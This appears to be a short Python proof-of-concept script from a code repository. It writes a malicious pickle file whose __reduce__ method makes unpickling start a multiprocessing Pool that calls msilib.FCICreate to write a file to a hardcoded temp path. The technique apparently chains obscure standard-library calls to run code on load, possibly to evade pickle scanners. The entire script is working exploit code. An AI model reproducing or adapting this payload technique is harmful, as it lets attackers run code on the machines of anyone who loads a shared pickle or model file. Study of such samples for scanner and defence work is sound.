File size: 376 Bytes
2f24c6c
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13

import pickle
from pathlib import Path
from multiprocessing.pool import Pool
import msilib
out = Path(__file__).with_name("payload.pkl")
cab = r"C:\Users\uozer\AppData\Local\Temp\opencode\w33_mp_pool.cab"
class E:
    def __reduce__(self):
        return (Pool, (1, msilib.FCICreate, (cab, [])))
out.write_bytes(pickle.dumps(E(), protocol=4))
print("WROTE", out)